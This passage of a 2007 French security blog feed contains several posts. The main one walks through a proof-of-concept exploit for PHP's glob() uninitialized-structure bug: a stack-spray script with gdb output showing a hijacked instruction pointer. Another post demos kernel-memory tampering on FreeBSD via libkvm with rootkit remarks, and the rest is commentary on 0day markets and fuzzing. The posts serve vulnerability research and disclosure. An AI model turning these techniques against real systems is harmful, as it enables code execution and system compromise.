peu trop poilus?&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Until now there was no publicly known remote exploitation of this type of bug. Watchfire security researchers discovered a practical method of exploiting this issue and will demonstrate for the first time an example exploitation that involves a remote command execution vulnerability.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;NON D'UNE PIPE EN BOIS.&lt;br /&gt;&lt;br /&gt;Bon OK, il va peut-être montrer un truc de ouf qui fasse hisser les tétons, mais de là à dire qu'aucune exploitation à distance de ce type de bug n'a jamais été publiée... humhum j'en doute. À mon souvenir j'ai déjà vu des barbus (FLAKE FLOCK et non mercy) parler de "HEAP/STACK/ZIZI spraying" et d'"Exploiting Uninitialized variables" et des exploits ont été publiés, sisi... quoi tu me crois pas? Bon OK, on va prendre une vuln. au pif... ou pas... ET PAN. :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/bid/24922/discuss"&gt;PHP Glob() Function Arbitrary Code Execution Vulnerability.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tadam, explications.&lt;br /&gt;&lt;br /&gt;Le glob() de PHP n'est qu'un wrapper à son homologue de la libc qui prend en argument une structure glob_t qui contient des pointeurs sur fonctions qui seront appelées si on passe le flag GLOB_ALTDIRFUNC à la fonction. Or PHP n'initialise pas sa structure glob_t qu'il déclare sur la pile et ne vérifie pas l'argument $flags que l'on passe à glob() donc...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(clem1@pouik:~/vulndev/php/glob)$ cat bookak.php&lt;br /&gt;&amp;lt;?php glob("coincoin", 64); ?&amp;gt;&lt;br /&gt;(clem1@pouik:~/vulndev/php/glob)$ php bookak.php&lt;br /&gt;Segmentation fault: 11 (core dumped)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(64 == GLOB_ALTDIRFUNC sur FreeBSD)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php&lt;br /&gt;(...)&lt;br /&gt;#0  0xbfbfe76d in ?? ()&lt;br /&gt;(gdb) print globbuf&lt;br /&gt;$1 = {gl_pathc = 140, gl_matchc = 0, gl_offs = 0, gl_flags = -1073742081, gl_pathv = 0x7263696d,&lt;br /&gt;  gl_errfunc = 0, gl_closedir = 0x65, gl_readdir = 0xbfbfe770, gl_opendir = 0x8c,&lt;br /&gt;  gl_lstat = &lt;b&gt;0xbfbfe76c&lt;/b&gt;, gl_stat = 0x2}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, la structure globbuf (glob_t) n'est effectivement pas initialisée et quand on passe le flag magic, la fonction glob() de la libc tente d'appeler la fonction gl_lstat référencer dans la structure par un pointeur.&lt;br /&gt;&lt;br /&gt;Bon maintenant, il faut réussir à faire quelques choses avec ce pointeur...&lt;br /&gt;&lt;br /&gt;Première solution, on regarde où il pointe et on essaie de claquer quelques choses de bien à cette adresse. Pour cela soit on le fait à la belge et on claque pleins de trucs à la con avant notre glob() soit on regarde d'où vient cette adresse^Woctets posés sur la stack en analysant le flot d'exécution du programme. C'est un peu chiant mais j'ai réussi à avoir un exploit reliable (il est pas mal ce mot aussi) pour FreeBSD et php5, non vous ne l'aurait pas.&lt;br /&gt;&lt;br /&gt;Deuxième solution, c'est la plus simple, on va éjaculer du pointeur poilu sur la pile, pour cela on regarde dans les sources de PHP si on a pas de fonctions qui font des fread ou autres sur un char buffer[] énorme et il y en a pas mal... sha1_file(), readfile()... On crée alors notre fichier qui va contenir pleins de fois l'adresse qu'on veut voir dans gl_lstat, on appelle sha1_file() sur ce fichier et on appelle notre 3v1l glob()... et paf... cacahuètes. Démonstration les amis...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;(clem1@pouik:~/vulndev/php/glob)$ cat cacahuete.php&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$ret = "\xDE\xDE\xDA\xDA";&lt;br /&gt;$buf = str_repeat($ret, 8000);&lt;br /&gt;$foo = fopen("owned", "w");&lt;br /&gt;fwrite($foo, $buf);&lt;br /&gt;fclose($foo);&lt;br /&gt;sha1_file("owned");&lt;br /&gt;unlink("owned");&lt;br /&gt;glob("TU SENS LA MOULE", 64);&lt;br /&gt;?&amp;gt;&lt;br /&gt;(clem1@pouik:~/vulndev/php/glob)$ php cacahuete.php&lt;br /&gt;Segmentation fault: 11 (core dumped)&lt;br /&gt;(clem1@pouik:~/vulndev/php/glob)$ gdb -c php.core php&lt;br /&gt;GNU gdb 6.1.1 [FreeBSD]&lt;br /&gt;(...)&lt;br /&gt;#0  0xdadadede in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PINCE À TÉTONS #@!#@! et ça works même avec le patch qui sens le sushi pas frais du php-security-man.&lt;br /&gt;&lt;br /&gt;Bon OK, c'était pas vraiment à distance mais c'est presque pareil.&lt;br /&gt;&lt;br /&gt;Rendez-vous après la mise en ligne de la présentation. ;-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] ah bon? y'a des &lt;b&gt;gens&lt;/b&gt; en costard à la blackhat? gni?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-1905885198134523077?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/1905885198134523077/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=1905885198134523077' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1905885198134523077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1905885198134523077'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/07/aujourdhui-le-balance-de-pointeur.html' title='Aujourd&apos;hui, le balancement de pointeur...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-303642217113759872</id><published>2007-07-07T02:00:00.001-07:00</published><updated>2007-07-07T02:32:32.617-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><title type='text'>Pour deux 0days achetés, le troisième est offert!</title><content type='html'>500euros le 0day! MADAMOISELLE! Achetez mon 0day!$!#@$&lt;br /&gt;&lt;br /&gt;On en rêvait, wslabi &lt;a href="http://www.wslabi.com/wabisabilabi/initPublishedBid.do"&gt;l&lt;/a&gt;'a fait... iDefense, ZDI, DigitalCaca ne veullent pas de ton 0day qui défonce l'anus, pas grave, tu peux maintenant le vendre aux enchères à une personne inconnue à travers le MarkerPlace des wabiwabi. Tu peux même revendre des exploits moisis qui tournent sur IRC depuis au moins un an qui exploitent des failles qui ont été fixées &lt;del&gt;dans la silence&lt;/del&gt; (cf. l'exploit local dans la pile IPv6) ou même des exploits pour des injections SQL dans des scripts-php-ou-plugin-de-la-mort.&lt;br /&gt;&lt;br /&gt;Pour l'instant, il y 4 offres...&lt;br /&gt;&lt;br /&gt;- Un exploit pour un déférencement de pointeur NULL dans la pile IPv6 du kernel Linux. Je l'avais trouvé lors de mon Summer Of Code et un singe de l'espace l'avait exploité en deux minutes pour dumper toute la mémoire de la quenouille... un mmap() à NULL avec une ev1l structure, un getsockopt() qui va bien et pouf, chocapic. Il est à 600euros là, ouch.&lt;br /&gt;&lt;br /&gt;- Une faille dans le plugin GPG de squirrelwebmail avec un *PROOF DE CONCEPT*. Rien qu'avec le titre et la description de la vulnérabilité, ça doit prendre 2 secondes de la retrouver et de l'exploiter. *supaire* 600euros aussi pour le bouzain.&lt;br /&gt;&lt;br /&gt;(10:53)(clem1@pouik:~/vulndev/gpg)$ grep exec\( *.php | wc -l&lt;br /&gt;      20&lt;br /&gt;&lt;br /&gt;- Y'a aussi une injection SQL (woodoo) dans un script PHP poilu et un remote buffer overflow dans Yahoo Messenger qui nécessite l'aide de l'utilisateur (pas un problème c'est tous des cons). Est-ce que Yahoo va débourser la somme de 2000euros pour chopper l'exploit?&lt;br /&gt;&lt;br /&gt;Pourquoi ils font ça ? Parce que:&lt;br /&gt;&lt;br /&gt;“ WSLabi plans to verify the identities and claims of both the buyer and seller. ”&lt;br /&gt;&lt;br /&gt;AH LES PTITS MALINS !#@§&lt;br /&gt;&lt;br /&gt;Un peu de lecture pour le week end: http://weis2007.econinfosec.org/papers/29.pdf.&lt;br /&gt;&lt;br /&gt;Bon allé, je m'en vais vendre mes exploits pour Supra-Caca-PHP-Beta,&lt;br /&gt;Bonne année,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-303642217113759872?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/303642217113759872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=303642217113759872' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/303642217113759872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/303642217113759872'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/07/pour-deux-0days-achets-le-troisime-est.html' title='Pour deux 0days achetés, le troisième est offert!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-5382563377129728133</id><published>2007-06-17T00:54:00.001-07:00</published><updated>2007-06-18T10:56:02.084-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='prosels'/><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><title type='text'>Du prosel en vrac...</title><content type='html'>Comme je sais que 2 ou 3 personnes *blorguent* sur mon blog, je vous mets un peu de prosels #@!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- SSTIC2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Encore une fois, je n'y étais pas mais les &lt;a href="http://actes.sstic.org/SSTIC07/"&gt;actes&lt;/a&gt; sont en lignes. Je fini la lecture du &lt;a href="http://www.phrack.org"&gt;p64&lt;/a&gt; et je me lance dans la lecture de ce qui touche au quenel Linux et à l'IPv6. :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- Table ronde de sécu. aux RMLL&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ce n'est pas encore sûr mais je serais sûrement aux RMLL pour assister à la &lt;a href="http://www.rmll.info/article267.html"&gt;table&lt;/a&gt; ronde sur la sécurité. C'est un collègue de boulot[1] qui organise ça et ça risque de bien troller avec Alan Cox et Torvalds. « Pourquoi Debian &lt;a href="http://www.us.debian.org/security/2007/dsa-1304"&gt;patche&lt;/a&gt; des failles dans la quenel 2 ans après qu'elles soient publiées ? » « Pourquoi on me répond jamais sur security@freebsd.org ? » « Pourquoi on patche des failles dans la quenouille Linux en les faisant passer pour de simples bogues... comme ceketuveuxBSD ? »...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- &lt;a href="http://php-security.org"&gt;À&lt;/a&gt; &lt;a href="http://blog.php-security.org/archives/87-What-site-do-you-want-to-break-today.html"&gt;poil&lt;/a&gt; Stefan Esser.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(09:56)(clem1@pouik:~/phpowned/)$ php foo.php&lt;br /&gt;[Sun Jun 17 10:16:43 2007]  Script:  'foo.php'&lt;br /&gt;---------------------------------------&lt;br /&gt;/usr/ports/www/mod_php5/work/php/Zend/zend_alloc.c(1491) : Block 0x082a0030 status:&lt;br /&gt;Beginning:      OK (allocated on /usr/ports/www/mod_php5/work/php/Zend/zend_alloc.c:1570, 8236 bytes)&lt;br /&gt;    Start:      OK&lt;br /&gt;      End:      Overflown (magic=0x0000005A instead of 0xB5D105A9)&lt;br /&gt;                At least 4 bytes overflown&lt;br /&gt;---------------------------------------&lt;br /&gt;Segmentation fault: 11 (core dumped)&lt;br /&gt;(09:56)(clem1@pouik:~/phpowned/)$ php fooo.php&lt;br /&gt;Segmentation fault: 11 (core dumped)&lt;br /&gt;(09:42)(clem1@pouik:~/phpowned)$ php foooo.php&lt;br /&gt;strrchr&lt;br /&gt;Warning: Wrong parameter count for strrchr() in foooo.php on line 49&lt;br /&gt;Segmentation fault: 11 (core dumped)&lt;br /&gt;&lt;br /&gt;Affaires à suivre... ou pas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- clamAV aka SAYPASEXPLOITABLEMONSIEUR #@!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dans ma boite[1], j'ai dû m'occuper du patchage de clamAV, la faille en question est décrite &lt;a href="https://wwws.clamav.net/bugzilla/show_bug.cgi?id=521"&gt;ici&lt;/a&gt; et IMHO ce n'est pas qu'un simple DOS. Je n'ai pas eu le temps de faire mumuse avec mais dès que j'ai le temps je regarderai. J'ai des .rar qui trigger la faille pour ce qui n'en veullent...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- IPv6 &amp; Honeypots&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bon même si toutes les vulns trouvées ne sont pas corrigées, je m'en bas les miches, je vais publier le papier que j'ai écris pour le google SoC 2006 sur la moisissure de la pile IPv6 des BSD. *grotrollmielé*Je vais aussi publier mon PDF sur les honeypots, un projet réalisé à l'IUT.*grotrollmielé*.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;- Monsieur2000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sayé c'est officiel, je suis un Monsieur du 2000 avec la boite qui va bien... qui fait de la veille de sécu, des outils en JAYPAYHELL, du python et tout ça sur des debian... Oué oué, CORPORATE #@!#@#!... rendez-vous aux sstic2008, ossir, jssi...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] C'est une boite qui comme Apple, vend des FreeBSD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-5382563377129728133?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/5382563377129728133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=5382563377129728133' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/5382563377129728133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/5382563377129728133'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/06/du-prosel-en-vrac.html' title='Du prosel en vrac...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-2579182765027288983</id><published>2007-05-20T02:16:00.000-07:00</published><updated>2007-06-18T10:50:59.227-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FreeBSD'/><title type='text'>C'est moi qui a la plus grosse #@!#!</title><content type='html'>Les gens, la libkvm, sur le supra-cacahuete-OS-libreBSD, ça dézingue. Tu peux tripoter ton noyal à chaud sans panicage (modulo la compétence du périphérique entre la chaise et le clavier). Je connaissais les astuces du père Cesare pour cogner du /dev/kmem sous GNU/Linux mais pour les BSD je ne connaissais pas l'existence de cette librairie dans le système de base qui permet de faciliter grandement l'écriture d'un rootkit bien poilu (quoiqu'on peut pécho tout ce qu'il faut dans les sources de suckit).&lt;br /&gt;&lt;br /&gt;Attention les gens, ouvrez bien les yeux, démo:&lt;br /&gt;&lt;br /&gt;pouik# uptime&lt;br /&gt;11:15  up 1 days, 41 mins, 1 user, load averages: 0,36 0,37 0,29&lt;br /&gt;pouik# ./up 1337&lt;br /&gt;(!@#) old boottime: { sec = 1179650098, usec = 821065 }&lt;br /&gt;(!@#) new boottime: { sec = 1064133298, usec = 821065 }&lt;br /&gt;(!@#) upgradaze: SAYGOOD.&lt;br /&gt;pouik# uptime&lt;br /&gt;11:15  up 1337 days, 41 mins, 1 user, load averages: 0,24 0,37 0,29&lt;br /&gt;&lt;br /&gt;TADAM, un kvm_read, un kvm_write et HOPLA! La uber-mega-classe du zizi! Le codaze est &lt;a href="http://clem1.be/pub/uptime.c"&gt;là&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pour ceux qui veulent se lancer dans l'écriture d'un trucpasbien, du prosels:&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://phrack.org/archives/63/p63-0x07_Games_With_Kernel_Memory_FreeBSD_Style.txt"&gt;aleluya&lt;/a&gt;&lt;br /&gt;- man 3 kvm&lt;br /&gt;- /usr/src/lib/libkvm/&lt;br /&gt;- google!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-2579182765027288983?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/2579182765027288983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=2579182765027288983' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2579182765027288983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2579182765027288983'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/05/cest-moi-qui-la-plus-grosse.html' title='C&apos;est moi qui a la plus grosse #@!#!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-1572642294286592547</id><published>2007-05-18T01:05:00.000-07:00</published><updated>2007-06-18T10:51:04.795-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='prosels'/><title type='text'>Le prosel de la semaine!</title><content type='html'>Un peu de niouze en vrac pour faire bien:&lt;br /&gt;&lt;br /&gt;- DU FUZZAGE AKA TUVASPLANTERGRONIACE#@!&lt;br /&gt;&lt;br /&gt;Avant de passer au Hachoir, Monsieur &lt;a href="http://haypocalc.com"&gt;Haypo&lt;/a&gt; nous dévoile son &lt;a href="http://haypo.devrait.passer.au.hachoir.org/fuzzing/"&gt;fuzzer&lt;/a&gt; de la mort écrit en python.&lt;br /&gt;&lt;br /&gt;Les &lt;a href="http://haypo.devrait.passer.au.hachoir.org/fuzzing/wiki/CrashList"&gt;résultats&lt;/a&gt; sont prometteurs.&lt;br /&gt;&lt;br /&gt;Le principe de son outil est néanmoins très proche de celui de &lt;a href="http://sam.zoy.org/zzuf/"&gt;zzuf&lt;/a&gt; écrit par sam mais en C.&lt;br /&gt;&lt;br /&gt;Comme je suis dedans aussi (OHOUI), j'ai quelques idées de fuzzers intéressants en me basant sur l'idée des deux Monsieurs (fuzzage *presque* à la volée). J'en parlerais peut-être dans un billet futur. ;-)&lt;br /&gt;&lt;br /&gt;- UNINFORMED AKA NONCESTPASLENOUVEAUPHRACK!&lt;br /&gt;&lt;br /&gt;Le septième opus de l'e-zine &lt;a href="http://uninformed.org"&gt;uninformed&lt;/a&gt;, au programme 3 articles:&lt;br /&gt;&lt;br /&gt;  - I)ruid t'aide à retenir tes mots de pass (palu).&lt;br /&gt;  - skape zigouille à moitier les cookies générés par la protection /GS, le -fstack-protector de visual studio (trèbien).&lt;br /&gt;  - skape, encore lui, nous apprend à monitorer les accès mémoire d'un processus en claquant des doigts (trèbien).&lt;br /&gt;&lt;br /&gt;Perso, je préférais celui d'avant où on apprenait à envoyer du shellcode bien poilu dans les airs.&lt;br /&gt;&lt;br /&gt;- GCC 4.2 est sortie avec son -fstrict-overflow (affaire à suivre avec le -fstack-protector).&lt;br /&gt;&lt;br /&gt;- samba est bouré de &lt;a href="http://us3.samba.org/samba/ftp/patches/security/samba-3.0.24-CVE-2007-2446.patch"&gt;failles&lt;/a&gt; &lt;a href="http://us3.samba.org/samba/ftp/patches/security/samba-3.0.24-CVE-2007-2444.patch"&gt;à la&lt;/a&gt; &lt;a href="http://us3.samba.org/samba/ftp/patches/security/samba-3.0.24-CVE-2007-2447.patch"&gt;con&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;- Je suis pris chez les &lt;a href="http://www.ingenieurs2000.com/pdf/ingenieur.htm"&gt;Monsieurs&lt;/a&gt; du 2000!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-1572642294286592547?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/1572642294286592547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=1572642294286592547' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1572642294286592547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/1572642294286592547'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/05/le-prosel-de-la-semaine.html' title='Le prosel de la semaine!'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7456738124399560803</id><published>2007-05-13T08:03:00.000-07:00</published><updated>2007-06-18T10:51:25.504-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='geekeries'/><title type='text'>Meuh, Mooh, Mutt...</title><content type='html'>Parce que Thunderbird 2 c'est une usine à gaz. (63méga dans le bouzain-vive)&lt;br /&gt;Parce que la console ça fait uber-méga-classe-du-zboobish.&lt;br /&gt;Parce que ça suce pas mon vieux SAYPAYHU.&lt;br /&gt;Parce que... Parce que...&lt;br /&gt;&lt;br /&gt;Eh bein j'utilise Mutt les enfants, "the very powerful text-based mail client for Unix operating systems" et c'est bien(tm). J'ai même claquer une &lt;a href="http://www.ixtab.org.uk/software/rand-sig.html"&gt;random-signature-de-la-mort&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Voici quelques comalinks qui pourraient servir:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mutt.org/doc/manual/"&gt;/usr/local/share/doc/mutt/manual&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.muttfr.org"&gt;du tips poilus&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.gentoo.org/doc/fr/guide-to-mutt.xml"&gt;docaze made in gentoo&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mouarf.org/config/mutt/muttrc"&gt;le muttrc de nbareil&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et en plus ça lit les mails.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7456738124399560803?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7456738124399560803/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7456738124399560803' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7456738124399560803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7456738124399560803'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/05/meuh-mooh-mutt.html' title='Meuh, Mooh, Mutt...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-8179619319394914490</id><published>2007-04-30T11:20:00.000-07:00</published><updated>2007-06-18T10:51:44.917-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sayku'/><title type='text'>La faille de la semaine.</title><content type='html'>MESSIEURSDAMES ATTENTION...&lt;br /&gt;&lt;br /&gt;On peut pirater les honeypots... &lt;a href="http://www.securityfocus.com/archive/1/467190/30/0/threaded"&gt;la preuve&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Heureusement qu'il y'a des personnes qui ont le poil lisse et luisant pour &lt;a href="http://www.securityfocus.com/archive/1/467200/30/0/threaded"&gt;lui&lt;/a&gt; faire comprendre très gentiment que c'est une grosse merde.&lt;br /&gt;&lt;br /&gt;À quand le « kojoney remote root »? À quand le retour des modérateurs sur bugtraq?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-8179619319394914490?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/8179619319394914490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=8179619319394914490' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8179619319394914490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/8179619319394914490'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2007/04/la-faille-de-la-semaine.html' title='La faille de la semaine.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-2660807308894669927</id><published>2007-04-29T10:17:00.000-07:00</published><updated>2007-06-18T10:52:30.833-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='whoami'/><title type='text'>Bonjour les futurs ingénieurs du 2000!</title><content type='html'>INGENIEURS2000 ÇA DÉCHIRE LES SLIPS MESSIEURS!&lt;br /&gt;&lt;br /&gt;Bon, Samedi matin, 6 heures pétantes, direction la maison des examens à Paris, pour y passer des... examens pour... rentrer dans l'école des ingénieurs du 2000. Après, une re-configuration du GPS, made in belgium, et cinq tours autour de la grande maison, nous y voilà! BONJOUR MONSIEUR, JE VEUX ËTRE UN INGENIEUR DU 2000!&lt;br /&gt;&lt;br /&gt;9h30, épreuve d'anglais. Bryan is in the kitchen2000.... Where is Bryan?&lt;br /&gt;&lt;br /&gt;A- In the bathroom2000&lt;br /&gt;B- In the bedroom2000&lt;br /&gt;C- In the kitchen2000&lt;br /&gt;D- IN YOUR ASS2000!&lt;br /&gt;&lt;br /&gt;10h50, épreuve de français. Il faudra que tu...&lt;br /&gt;&lt;br /&gt;A- aye&lt;br /&gt;B- vas&lt;br /&gt;C- vasse&lt;br /&gt;D- ailles&lt;br /&gt;&lt;br /&gt;12h50, mangeage à la baraque à frites du père rachid.&lt;br /&gt;&lt;br /&gt;13h30, épreuve de MATHS... où ça devient un peu sérieux et où je n'ai pas fais le malin quand j'ai vu arriver une armée de matrices bien poilues. Mais bon, pas de quoi faire un gros caca à claquer de la neuronne sur une feuille de brouillon rose fluo. &lt;span style="font-size:78%;"&gt;[1]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Au niveau de la gente2000, pas un seul barbu, pas un seul tshirt de gros geek des cavernes, pas une seule gonzesse (ah si?) mais du gamers (EH VAS Y QUE JE TE FAIS PETER LA PSP À LA PAUSE!), du lecteur fou (FLEURS DU MAL) et des clowns.&lt;br /&gt;&lt;br /&gt;19h, retour à la casa.&lt;br /&gt;&lt;br /&gt;Résultat le 18mai! Serais-je sélectionner pour être un ingénieur du 2000? Envoyez -1 par SMS au 0813371337 pour OUI ou 0xffffffff pour NON.&lt;br /&gt;&lt;br /&gt;Sinon, juste comme ça, je suis en stage au milieu des barbus de netasq, je ferais un billet à l'occasion... ou pas.&lt;br /&gt;&lt;br /&gt;&lt;pubasme&gt;&lt;br /&gt;Je recherche aussi une entreprise aux alentours de Paris qui bosse dans le libre et/ou la sécurité pour me prendre en apprentissage avec l'école du 2000. root@clem1.be :-)&lt;br /&gt;&lt;/pubasme&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;[1] au moins, ça suivait avec les polos/pulls/tshirts de certains, MOUARF :-)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-2660807308894669927?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/2660807308894669927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=2660807308894669927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2660807308894669927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/2660807308894669927'/><link rel='alternate' type='text/html' 